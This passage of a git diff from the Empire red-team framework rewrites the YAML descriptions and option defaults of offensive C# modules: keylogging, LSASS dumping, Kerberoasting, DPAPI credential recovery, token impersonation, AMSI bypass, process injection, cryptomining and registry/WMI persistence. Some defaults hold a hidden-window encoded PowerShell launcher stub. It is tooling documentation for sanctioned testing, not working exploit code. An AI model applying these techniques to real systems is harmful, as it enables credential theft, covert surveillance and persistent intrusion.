T1078.002] @@ -85,7 +90,7 @@ csharp: Description: SharpSploit is a library for C# post-exploitation modules. Location: SharpSploit\SharpSploit\ Language: CSharp - CompatibleDotNetVersions: null + CompatibleDotNetVersions: '' ReferenceAssemblies: - Name: System.Management.Automation.dll Location: net35\System.Management.Automation.dll diff --git a/empire/server/modules/csharp/code_execution/SharpSploit/ShellRunAs.yaml b/empire/server/modules/csharp/code_execution/SharpSploit/ShellRunAs.yaml index 3a9934874..ad2ac7c15 100755 --- a/empire/server/modules/csharp/code_execution/SharpSploit/ShellRunAs.yaml +++ b/empire/server/modules/csharp/code_execution/SharpSploit/ShellRunAs.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Execute a Shell command using CreateProcess as a specified user. +description: | + Uses .NET's System.Diagnostics.StartProcess to create a child process + of the current process to run the provided commands. Optionally, username and password + can be provided to run the command as another user. This module does accept hashes + as credentials. Commands are executed from the current directory of the agent process. software: '' tactics: [TA0002] techniques: [T1059.003, T1078.002] @@ -84,7 +88,7 @@ csharp: Description: SharpSploit is a library for C# post-exploitation modules. Location: SharpSploit\SharpSploit\ Language: CSharp - CompatibleDotNetVersions: null + CompatibleDotNetVersions: '' ReferenceAssemblies: - Name: System.Management.Automation.dll Location: net35\System.Management.Automation.dll diff --git a/empire/server/modules/csharp/code_execution/Shellcode.yaml b/empire/server/modules/csharp/code_execution/Shellcode.yaml index a62e7c72f..687d2617d 100755 --- a/empire/server/modules/csharp/code_execution/Shellcode.yaml +++ b/empire/server/modules/csharp/code_execution/Shellcode.yaml @@ -3,13 +3,16 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Executes a specified shellcode byte array by copying it to pinned memory, - modifying the memory permissions, and executing. +description: | + This Module executes a provided shellcode file by creating a pinned area + of memory within the current process. The provided file is expected to be in a binary + format. The module modifies the memory with VirtualProtect to Read, Write, Execute. + The module takes no command line inputs. software: '' tactics: [TA0002] techniques: [T1106, T1620] background: false -output_extension: null +output_extension: needs_admin: false opsec_safe: true language: csharp diff --git a/empire/server/modules/csharp/collection/Certify.yaml b/empire/server/modules/csharp/collection/Certify.yaml index 250793876..a91fbe867 100755 --- a/empire/server/modules/csharp/collection/Certify.yaml +++ b/empire/server/modules/csharp/collection/Certify.yaml @@ -3,8 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Certify is a C# tool to enumerate and abuse misconfigurations in Active - Directory Certificate Services (AD CS). +description: | + This module leverages the Certify tool to enumerate and exploit misconfigurations + in Active Directory Certificate Services (AD CS). It can identify vulnerable certificate + templates, request certificates on behalf of users, and escalate privileges by abusing + insecure enrollment permissions. Certificates obtained may be used for domain persistence + or impersonation via PKINIT and Kerberos. software: '' tactics: [TA0043, TA0007] techniques: [T1590.001, T1590.003, T1482, T1106] diff --git a/empire/server/modules/csharp/collection/SharpSploit_Keylogger.yaml b/empire/server/modules/csharp/collection/SharpSploit_Keylogger.yaml index 82da2ff1e..d64b930d6 100755 --- a/empire/server/modules/csharp/collection/SharpSploit_Keylogger.yaml +++ b/empire/server/modules/csharp/collection/SharpSploit_Keylogger.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Monitor the keystrokes for a specified period of time. +description: | + This module installs a low-level keyboard hook using SetWindowsHookEx + to capture keystrokes system-wide, including foreground window titles and modifier + key states. It logs all keys pressed, applies shift/caps-aware formatting, and optionally + runs for a specified number of seconds before cleanly exiting. Keystrokes are printed + to console output in real time, making this suitable for short-lived or interactive + surveillance. software: '' tactics: [TA0006, TA0009] techniques: [T1056.001] diff --git a/empire/server/modules/csharp/collection/Sharpdump.yaml b/empire/server/modules/csharp/collection/Sharpdump.yaml index 20e1cd6e1..b2b94bb84 100755 --- a/empire/server/modules/csharp/collection/Sharpdump.yaml +++ b/empire/server/modules/csharp/collection/Sharpdump.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Use a SharpDump command. +description: | + This module uses SharpDump which is a C# of the PowerShell Out-MiniDump. + This module uses P/Invoke to call MiniDumpWriteDump from dbghelp.dll and create + a full-memory minidump of a target process such as lsass.exe. The resulting dump + is compressed and saved to disk as a .bin file in the system's temp directory. software: '' tactics: [TA0006, TA0007] techniques: [T1003, T1555.03] diff --git a/empire/server/modules/csharp/credentials/Rubeus.yaml b/empire/server/modules/csharp/credentials/Rubeus.yaml index 76c04f6e0..bee6ba7f6 100755 --- a/empire/server/modules/csharp/credentials/Rubeus.yaml +++ b/empire/server/modules/csharp/credentials/Rubeus.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Use a rubeus command. +description: | + This module leverages Rubeus to interact with the LSASS process using + the LsaCallAuthenticationPackage API, allows for enumeration and manipulation of + Kerberos tickets without memory dumping. It supports TTPS such as extracting current + TGTs, injecting forged tickets, Kerberoasting, and conducting AS-REP Roasting. software: '' tactics: [TA0006, TA0007] techniques: [T1482, T1558.001, T1558.002, T1558.003, T1558.004] diff --git a/empire/server/modules/csharp/credentials/SharpDPAPI.yaml b/empire/server/modules/csharp/credentials/SharpDPAPI.yaml index e707eda60..65049d38e 100755 --- a/empire/server/modules/csharp/credentials/SharpDPAPI.yaml +++ b/empire/server/modules/csharp/credentials/SharpDPAPI.yaml @@ -3,7 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Use a SharpDPAPI command. +description: | + This module integrates SharpDPAPI to recover DPAPI-protected credentials + and secrets from the host. It utilizes valid user credentials or LSASS-extracted + master keys to decrypt saved browser passwords, Windows credentials, and other DPAPI-encrypted + blobs. Functions for decryption were ported over from Mimikatz's DPAPI decryption + functions. software: '' tactics: [TA0006] techniques: [T1555] diff --git a/empire/server/modules/csharp/credentials/SharpSploit/ImpersonateProcess.yaml b/empire/server/modules/csharp/credentials/SharpSploit/ImpersonateProcess.yaml index 3862cbbad..a5f9c6e0b 100755 --- a/empire/server/modules/csharp/credentials/SharpSploit/ImpersonateProcess.yaml +++ b/empire/server/modules/csharp/credentials/SharpSploit/ImpersonateProcess.yaml @@ -3,8 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Impersonate the token of the specified process. Used to execute subsequent - commands as the user associated with the token of the specified process. +description: | + This module enables impersonating the security context of another process + targeted via its PID. It utilizes the DuplicateTokenEx and ImpersonateLoggedOnUser + WinAPI functions to create and apply an impersonation token derived from the target + process's access token. This technique allows the operator to adopt the privileges + of high-value processes such as SYSTEM or other privileged users. This module requires + Admin privileges. software: '' tactics: [TA0004, TA0005] techniques: [T1134.001] diff --git a/empire/server/modules/csharp/credentials/SharpSploit/ImpersonateUser.yaml b/empire/server/modules/csharp/credentials/SharpSploit/ImpersonateUser.yaml index a8905b262..f9cee9e20 100755 --- a/empire/server/modules/csharp/credentials/SharpSploit/ImpersonateUser.yaml +++ b/empire/server/modules/csharp/credentials/SharpSploit/ImpersonateUser.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Find a process owned by the specified user and impersonate the token. +description: | + This module allows for impersonating a user by finding a process owned + by the provided username and then impersonating the security context of the owned + process. It utilizes the DuplicateTokenEx and ImpersonateLoggedOnUser WinAPI functions + to create and apply an impersonation token derived from the target process's access + token. This technique allows the operator to adopt the privileges of high-value + processes such as SYSTEM or other privileged users. This module requires Admin privileges. Used to execute subsequent commands as the specified user. software: '' tactics: [TA0004, TA0005] diff --git a/empire/server/modules/csharp/credentials/SharpSploit/Kerberoast.yaml b/empire/server/modules/csharp/credentials/SharpSploit/Kerberoast.yaml index c3f954969..a30705771 100755 --- a/empire/server/modules/csharp/credentials/SharpSploit/Kerberoast.yaml +++ b/empire/server/modules/csharp/credentials/SharpSploit/Kerberoast.yaml @@ -3,8 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Perform a "Kerberoast" attack that retrieves crackable service tickets - for Domain User's w/ an SPN set. +description: | + This Empire module performs Kerberoasting by using SharpSploit’s DomainSearcher + class to enumerate Active Directory user accounts with Service Principal Names (SPNs) + and request their Kerberos TGS tickets. It parses the returned ticket data using + the KerberosRequestorSecurityToken API and extracts usable credential material in + either Hashcat or John the Ripper format. software: '' tactics: [TA0006] techniques: [T1558.0003] diff --git a/empire/server/modules/csharp/credentials/SharpSploit/MakeToken.yaml b/empire/server/modules/csharp/credentials/SharpSploit/MakeToken.yaml index 7519f4dd7..d14902d6c 100755 --- a/empire/server/modules/csharp/credentials/SharpSploit/MakeToken.yaml +++ b/empire/server/modules/csharp/credentials/SharpSploit/MakeToken.yaml @@ -3,8 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Makes a new token with a specified username and password, and impersonates - it to conduct future actions as the specified user. +description: | + Makes a new token with a specified username and password, and stores + it for cleanup. It then impersonates the token to allow the current agent process + to then take actions as if it were the user that was authenticated via the new token. + Leverages LogonUserA to authenticate the token and ImpersonateLoggedOnUser to allow + the agent process to impersonate the user. software: '' tactics: [TA0004, TA0005] techniques: [T1134.003] diff --git a/empire/server/modules/csharp/credentials/SharpSploit/RevertToSelf.yaml b/empire/server/modules/csharp/credentials/SharpSploit/RevertToSelf.yaml index a4e899922..7e388a07c 100755 --- a/empire/server/modules/csharp/credentials/SharpSploit/RevertToSelf.yaml +++ b/empire/server/modules/csharp/credentials/SharpSploit/RevertToSelf.yaml @@ -3,10 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Ends the impersonation of any token, reverting back to the initial token - associated with the current process. Useful in conjuction with functions impersonate - a token and do not automatically RevertToSelf, such as ImpersonateUser(), ImpersonateProcess(), - GetSystem(), and MakeToken(). +description: | + Ends the impersonation of any token, reverting the agent process back + to the initial token associated with the process launch. Useful in conjunction with + functions that impersonate a token but do not automatically end impersonation, + such as ImpersonateUser(), ImpersonateProcess(), GetSystem(), and MakeToken(). software: '' tactics: [TA0004, TA0005] techniques: [T1134.001, T1134.001] diff --git a/empire/server/modules/csharp/management/ProcessInjection.yaml b/empire/server/modules/csharp/management/ProcessInjection.yaml index ae20522d4..87bded9f3 100755 --- a/empire/server/modules/csharp/management/ProcessInjection.yaml +++ b/empire/server/modules/csharp/management/ProcessInjection.yaml @@ -4,7 +4,11 @@ authors: handle: Cx01N link: https://twitter.com/Cx01N_ description: | - The program is designed to perform process injection. + This module integrates 3xpl01tc0d3r's process injection project, including + Vanilla Injection, DLL Injection, Process Hollowing, and APC Queue Injection. + It supports both P/Invoke and D/Invoke for calling Windows API functions. The + module allows a user to inject a multi_launcher stager payload into the targeted + process. It does not support user defined payloads at this time. software: '' tactics: [TA0004, TA0005] techniques: [T1055.001, T1055.004, T1055.012] @@ -27,11 +31,12 @@ options: suggested_values: - powershell - csharp + - ironpython - name: Obfuscate description: Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only. required: false - value: False + value: false strict: true suggested_values: - True @@ -44,7 +49,7 @@ options: - name: Bypasses description: Bypasses as a space separated list to be prepended to the launcher. required: false - value: 'mattifestation etw' + value: mattifestation etw - name: UserAgent description: User-agent string to use for the staging request (default, none, or other). diff --git a/empire/server/modules/csharp/management/SharpSploit/BypassAmsi.yaml b/empire/server/modules/csharp/management/SharpSploit/BypassAmsi.yaml index 3e0235f2b..18e2f6db2 100755 --- a/empire/server/modules/csharp/management/SharpSploit/BypassAmsi.yaml +++ b/empire/server/modules/csharp/management/SharpSploit/BypassAmsi.yaml @@ -3,7 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Bypasses AMSI by patching the AmsiScanBuffer function. +description: | + Bypasses AMSI by patching the AmsiScanBuffer function. This module uses + the most common AMSI patching method and utilizes the read,write, execute flag when + setting the memory protection level. Because it patches the AMSI dll all .NET payloads + ran by the agent after execution of this module will no longer be sent to AMSI for + scanning when loaded. software: '' tactics: [TA0005] techniques: [T1562.006] diff --git a/empire/server/modules/csharp/management/SharpSploit/CreateProcessWithToken.yaml b/empire/server/modules/csharp/management/SharpSploit/CreateProcessWithToken.yaml index 997e263df..40008675a 100755 --- a/empire/server/modules/csharp/management/SharpSploit/CreateProcessWithToken.yaml +++ b/empire/server/modules/csharp/management/SharpSploit/CreateProcessWithToken.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Creates a process with the currently impersonated token. +description: | + Creates a process through the WIN32 API utilizing the specified impersonated + token. This enables the ability to spawn a process under a user without the need + to know the targeted users credentials. Requires SeAssignPrimaryTokenPrivilege, + typically only available to administrative users. software: '' tactics: [TA0004, TA0005] techniques: [T1134.002] diff --git a/empire/server/modules/csharp/management/SharpSploit/SetRegistryKey.yaml b/empire/server/modules/csharp/management/SharpSploit/SetRegistryKey.yaml index a4894ea30..fbe3f6414 100755 --- a/empire/server/modules/csharp/management/SharpSploit/SetRegistryKey.yaml +++ b/empire/server/modules/csharp/management/SharpSploit/SetRegistryKey.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Sets a value into the registry. +description: | + Sets a value into the registry using SharpSploit to manipulate the registry + hive. Requires the full registry key path and the value to enter. Values of the + key will be entered exactly as provided so ensure they are in the correct format + their data type. software: '' tactics: [TA0005] techniques: [T1112] diff --git a/empire/server/modules/csharp/management/SharpSploit/SetRemoteRegistryKey.yaml b/empire/server/modules/csharp/management/SharpSploit/SetRemoteRegistryKey.yaml index 10f584b18..06273275f 100755 --- a/empire/server/modules/csharp/management/SharpSploit/SetRemoteRegistryKey.yaml +++ b/empire/server/modules/csharp/management/SharpSploit/SetRemoteRegistryKey.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Sets a value into the registry on a remote system. +description: | + Sets a value into the registry on a remote system. Requires the full + registry key path and the value to enter. Values of the key will be entered exactly + as provided so ensure they are in the correct format their data type. Uses the current + processes user context for accessing the remote computer. software: '' tactics: [TA0004, TA0005] techniques: [T1112] diff --git a/empire/server/modules/csharp/management/StratumMiner.yaml b/empire/server/modules/csharp/management/StratumMiner.yaml index bb618be6f..92bb3599f 100755 --- a/empire/server/modules/csharp/management/StratumMiner.yaml +++ b/empire/server/modules/csharp/management/StratumMiner.yaml @@ -4,7 +4,10 @@ authors: handle: Cx01N link: https://twitter.com/Cx01N_ description: | - A .NET implementation of a stratum miner in C#. + A .NET implementation of a stratum miner in C# which can be reflectively + loaded. Intended for demonstration of cryptojacking attacks during an assessment. + Will cause a spike in resource usage and may cause temperature rises in hardware + if left running for prolonged periods. software: '' tactics: [TA0040] techniques: [T1496.001] diff --git a/empire/server/modules/csharp/management/ThreadlessInject.yaml b/empire/server/modules/csharp/management/ThreadlessInject.yaml index da23d838e..6dd0297d8 100755 --- a/empire/server/modules/csharp/management/ThreadlessInject.yaml +++ b/empire/server/modules/csharp/management/ThreadlessInject.yaml @@ -4,7 +4,12 @@ authors: handle: Cx01N link: https://twitter.com/Cx01N_ description: | - The program is designed to perform process injection. + C# module that performs threadless process injection by hijacking exported functions in target + processes. Instead of creating new threads, this technique patches existing exported functions + (default: NtTerminateProcess in ntdll.dll) to execute shellcode when the function is called. + This approach evades thread-based detection mechanisms and provides code execution + by leveraging legitimate function calls within the target process. Supports both x86 and x64 + architectures. software: '' tactics: [TA0004, TA0005] techniques: [T1055] diff --git a/empire/server/modules/csharp/management/VNC.yaml b/empire/server/modules/csharp/management/VNC.yaml index 24883b76d..a93a109fd 100755 --- a/empire/server/modules/csharp/management/VNC.yaml +++ b/empire/server/modules/csharp/management/VNC.yaml @@ -4,7 +4,7 @@ authors: handle: Cx01N link: https://twitter.com/Cx01N_ description: | - Installs and runs a C# VNC server on the victim. + Installs and runs a C# VNC server on the victim and can be used for interactive access to the victim machine. THe comms are in band and the agent should be set to an interval of 0 seconds when using this module. software: '' tactics: [TA0008] techniques: [T1021.005] diff --git a/empire/server/modules/csharp/persistence/SharpSploit/PersistAutorun.yaml b/empire/server/modules/csharp/persistence/SharpSploit/PersistAutorun.yaml index 40ca5dd25..04494b076 100755 --- a/empire/server/modules/csharp/persistence/SharpSploit/PersistAutorun.yaml +++ b/empire/server/modules/csharp/persistence/SharpSploit/PersistAutorun.yaml @@ -4,9 +4,10 @@ authors: handle: Cx01N link: https://twitter.com/Cx01N_ description: | - Installs an autorun value in HKCU or HKLM to execute a payload. TargetHive: Target hive to install autorun. Specify \"CurrentUser\" for HKCU and - LocalMachine\" for HKLM.\n\tValue: Value to set in the registry. E.g. \"C:\\\ - Example\\GruntStager.exe\"\n\tName: Name for the registy value.E.g. \"Updater\". + Installs an autorun value in HKCU or HKLM to execute a payload. Once + the key has been installed, the compromised host will execute the designated + program upon login. TargetHive specifies whether to modify the userland registry + key or elevated Machine key. software: '' tactics: [TA0003] techniques: [T1547.001] @@ -21,10 +22,10 @@ options: description: Target hive to install autorun. required: true value: CurrentUser - strict: false - suggested_values: [] + strict: true + suggested_values: [CurrentUser, LocalMachine] - name: Name - description: Name for the registy value. + description: Name for the registry value. required: true value: Updater strict: false diff --git a/empire/server/modules/csharp/persistence/SharpSploit/PersistCOMHijack.yaml b/empire/server/modules/csharp/persistence/SharpSploit/PersistCOMHijack.yaml index 30a005fcc..e3075302b 100755 --- a/empire/server/modules/csharp/persistence/SharpSploit/PersistCOMHijack.yaml +++ b/empire/server/modules/csharp/persistence/SharpSploit/PersistCOMHijack.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Hijacks a CLSID key to execute a payload for persistence. +description: | + Hijacks a CLSID key to execute a payload for persistence. Requires that + an installed program or service attempts to load a missing CLSID. If successful + the executable is launched at the privilege level of the targeted program or service. software: '' tactics: [TA0003] techniques: [T1546.015] diff --git a/empire/server/modules/csharp/persistence/SharpSploit/PersistStartup.yaml b/empire/server/modules/csharp/persistence/SharpSploit/PersistStartup.yaml index 4a1957f52..30e190433 100755 --- a/empire/server/modules/csharp/persistence/SharpSploit/PersistStartup.yaml +++ b/empire/server/modules/csharp/persistence/SharpSploit/PersistStartup.yaml @@ -4,9 +4,10 @@ authors: handle: Cx01N link: https://twitter.com/Cx01N_ description: | - Installs a payload into the current users startup folder. - Payload: Payload to write to a file. E.g. \"powershell -Sta -Nop -Window Hidden -EncodedCommand\ \". - FileName: Name of the file to write. E.g. \"startup.bat\". + Installs a payload into the current users startup folder. The payload + will be entered into the file as text and typically takes the form of a batch + file for with a powershell command to execute. THe file is most often placed + as a .bat. The filetype must be directly executable. software: '' tactics: [TA0003] techniques: [T1547.001] diff --git a/empire/server/modules/csharp/persistence/SharpSploit/PersistWMI.yaml b/empire/server/modules/csharp/persistence/SharpSploit/PersistWMI.yaml index 6a9dcd8d0..6b24d69bd 100755 --- a/empire/server/modules/csharp/persistence/SharpSploit/PersistWMI.yaml +++ b/empire/server/modules/csharp/persistence/SharpSploit/PersistWMI.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Creates a WMI Event, Consumer and Binding to execute a payload. +description: | + C# module that establishes persistence through Windows Management Instrumentation (WMI) by + creating event filters, consumers, and bindings. Leverages WMI's event-driven architecture + to trigger payload execution based on system events such as process starts. Supports both + command-line execution and ActiveScript (JScript/VBScript) payloads, providing flexible + persistence mechanisms that can evade traditional startup detection while maintaining + stealth through legitimate WMI infrastructure. software: '' tactics: [TA0003] techniques: [T1546.003] @@ -15,17 +21,7 @@ language: csharp min_language_version: '' options: - name: EventName - description: | - Creates a WMI Event, Consumer and Binding to execute a payload. - EventName: An arbitrary name to be assigned to the new WMI Event. E.g. \"Evil\" - Persistence\".\n\tEventFilter: Specifies the event trigger to use. The options - are \"ProcessStart\".\n\tEventConsumer: Specifies the action to carry out. The - options are \"CommandLine\" (OS Command) and \"ActiveScript\" (JScript or VBScript). - Payload: Specifies the CommandLine or ActiveScript payload to run. E.g. \"powershell - -Sta -Nop -Window Hidden -EncodedCommand \".\n\tProcessName: Specifies - the process name when the \"ProcessStart\" trigger is selected. E.g. \"notepad.exe\" - ScriptingEngine: Specifies the scripting engine when the \"ActiveScript\" - consumer is selected. The options are \"JScript\" and \"VBScript\". + description: An arbitrary name to be assigned to the new WMI Event. required: true value: Evil Persistence strict: false @@ -45,7 +41,7 @@ options: - name: Payload description: Specifies the CommandLine or ActiveScript payload to run. required: true - value: powershell -Sta -Nop -Window Hidden -EncodedCommand + value: 'powershell -Sta -Nop -Window Hidden -EncodedCommand ' strict: false suggested_values: [] - name: ProcessName diff --git a/empire/server/modules/csharp/privesc/SharpSploit/GetSystem.yaml b/empire/server/modules/csharp/privesc/SharpSploit/GetSystem.yaml index e2f6c1e78..adebdfb9d 100755 --- a/empire/server/modules/csharp/privesc/SharpSploit/GetSystem.yaml +++ b/empire/server/modules/csharp/privesc/SharpSploit/GetSystem.yaml @@ -3,7 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Impersonate the SYSTEM user. Equates to ImpersonateUser("NT AUTHORITY\SYSTEM"). +description: | + C# module that performs privilege escalation by impersonating the Windows SYSTEM account + through token manipulation techniques. Leverages SharpSploit's token functionality to + duplicate and impersonate SYSTEM tokens, providing elevated privileges for subsequent + operations. This technique enables access to protected system resources and processes + that require SYSTEM-level permissions. software: '' tactics: [TA0004] techniques: [T1134.001] diff --git a/empire/server/modules/csharp/privesc/SharpSploit/PrivExchange.yaml b/empire/server/modules/csharp/privesc/SharpSploit/PrivExchange.yaml index 3e2165539..b49328d03 100755 --- a/empire/server/modules/csharp/privesc/SharpSploit/PrivExchange.yaml +++ b/empire/server/modules/csharp/privesc/SharpSploit/PrivExchange.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Performs the PrivExchange attack by sending a push notification to EWS. +description: | + C# module that implements the PrivExchange attack by sending a push notification subscription + request to Exchange Web Services (EWS) with a malicious callback URL. The module calls + SharpSploit's PrivExchangePushNotification function to create a push notification subscription + that points to an attacker-controlled relay server. When Exchange attempts to send push + notifications to the specified relay URI, it will authenticate using the Exchange server's + credentials, allowing the attacker to capture NTLM authentication tokens. software: '' tactics: [TA0004, TA0006, TA0009] techniques: [T1557.0001, T1187] diff --git a/empire/server/modules/csharp/privesc/SharpUp.yaml b/empire/server/modules/csharp/privesc/SharpUp.yaml index cf519efbd..1b9ea40f7 100755 --- a/empire/server/modules/csharp/privesc/SharpUp.yaml +++ b/empire/server/modules/csharp/privesc/SharpUp.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Use a SharpUp command. +description: C# module that uses SharpUp to perform privilege escalation checks on + the local system. SharpUp is a C# port of various PowerUp functionality and can + be used to enumerate missing KBs, detect various vulnerabilities, and suggest potential + exploits for Privilege Escalation in Windows environments. software: '' tactics: [TA0007] techniques: [T1012, T1518] diff --git a/empire/server/modules/csharp/situational_awareness/Seatbelt.yaml b/empire/server/modules/csharp/situational_awareness/Seatbelt.yaml index eb3cdb615..da8e31c6a 100755 --- a/empire/server/modules/csharp/situational_awareness/Seatbelt.yaml +++ b/empire/server/modules/csharp/situational_awareness/Seatbelt.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Use a Seatbelt command. +description: C# module that uses Seatbelt to perform situational awareness checks + on the local system. Seatbelt is a PowerShell script that can be used to enumerate + various system information, including user accounts, groups, privileges, and security + settings. It can also be used to check for various vulnerabilities and suggest + potential exploits for Privilege Escalation in Windows environments. software: '' tactics: [TA0007] techniques: [T1087.001, T1087.002, T1217, T1526, T1615, T1654, T1083, T1057, T1518.001, diff --git a/empire/server/modules/csharp/situational_awareness/SharpSC.yaml b/empire/server/modules/csharp/situational_awareness/SharpSC.yaml index 3bd93a712..24b019013 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSC.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSC.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Use a SharpSC command. +description: | + C# module that leverages SharpSC to enumerate and manage Windows services on the local system. + Provides comprehensive service enumeration capabilities including querying service status, + configuration details, and dependencies. Supports service lifecycle management operations + such as starting, stopping, creating, and deleting services. Useful for situational + awareness to identify running services, service accounts, and potential persistence + mechanisms through service analysis and manipulation. software: '' tactics: [TA0007. TA0040] techniques: [T1007, T1489] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainComputer.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainComputer.yaml index 0db2ffa37..b74e9af60 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainComputer.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainComputer.yaml @@ -3,8 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a list of specified (or all) computer `DomainObject`s in the current - Domain. +description: | + C# module that leverages SharpSploit's Domain enumeration capabilities to discover + and enumerate computer objects within Active Directory. Uses SharpSploit's DomainSearcher + class to query the current domain for computer accounts, returning detailed DomainObject + information including computer names, descriptions, and domain attributes. Supports + targeted enumeration of specific computers by name or comprehensive enumeration of + all domain computers. software: '' tactics: [TA0007] techniques: [T1069, T1018, T1615] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainGroup.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainGroup.yaml index 62c6ce7ab..e08c500dd 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainGroup.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainGroup.yaml @@ -3,8 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a list of specified (or all) group `DomainObject`s in the current - Domain. +description: | + C# module that leverages SharpSploit's Domain enumeration capabilities to discover + and enumerate group objects within Active Directory. Uses SharpSploit's DomainSearcher + class to query the current domain for group accounts, returning detailed DomainObject + information including group names, descriptions, and domain attributes. Supports + targeted enumeration of specific groups by name or comprehensive enumeration of + all domain groups. software: '' tactics: [TA0007] techniques: [T1482, T1615, T1069.002] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainUser.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainUser.yaml index 93d175325..04606a238 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainUser.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetDomainUser.yaml @@ -3,9 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a list of specified (or all) user `DomainObject`s in the current - Domain. -software: '' +description: | + C# module that leverages SharpSploit's Domain enumeration capabilities to discover + and enumerate user objects within Active Directory. Uses SharpSploit's DomainSearcher + class to query the current domain for user accounts, returning detailed DomainObject + information including user names, descriptions, and domain attributes. Supports + targeted enumeration of specific users by name or comprehensive enumeration of + all domain users. tactics: [TA0007] techniques: [T1482, T1069.002, T1615] background: false diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroup.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroup.yaml index e8d304b25..fbfdc6274 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroup.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroup.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a list of `LocalGroup`s from specified remote computer(s). +description: | + C# module that leverages SharpSploit's Net enumeration capabilities to discover + and enumerate local groups on the local system. Uses SharpSploit's Net class to + query the local system for local group information, returning detailed LocalGroup + information including group names, descriptions, and local attributes. Supports + targeted enumeration of specific local groups by name or comprehensive enumeration + of all local groups. software: '' tactics: [TA0007] techniques: [T1482, T1615, T1069.001] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroupMember.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroupMember.yaml index 25df7140f..ec5a02bf1 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroupMember.yaml +++ b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLocalGroupMember.yaml @@ -3,7 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Gets a list of `LocalGroupMember`s from specified remote computer(s). +description: | + C# module that leverages SharpSploit's Net enumeration capabilities to discover + and enumerate local group members on the local system. Uses SharpSploit's Net class + to query the local system for local group member information, returning detailed + LocalGroupMember information including member names, descriptions, and local attributes. + Supports targeted enumeration of specific local group members by name or comprehensive + enumeration of all local group members. software: '' tactics: [TA0007] techniques: [T1482, T1615, T1069.002] diff --git a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLoggedOnUser.yaml b/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLoggedOnUser.yaml index 5e79d29ce..5ed3b8675 100755 --- a/empire/server/modules/csharp/situational_awareness/SharpSploit/GetNetLoggedOnUser.yaml +++ 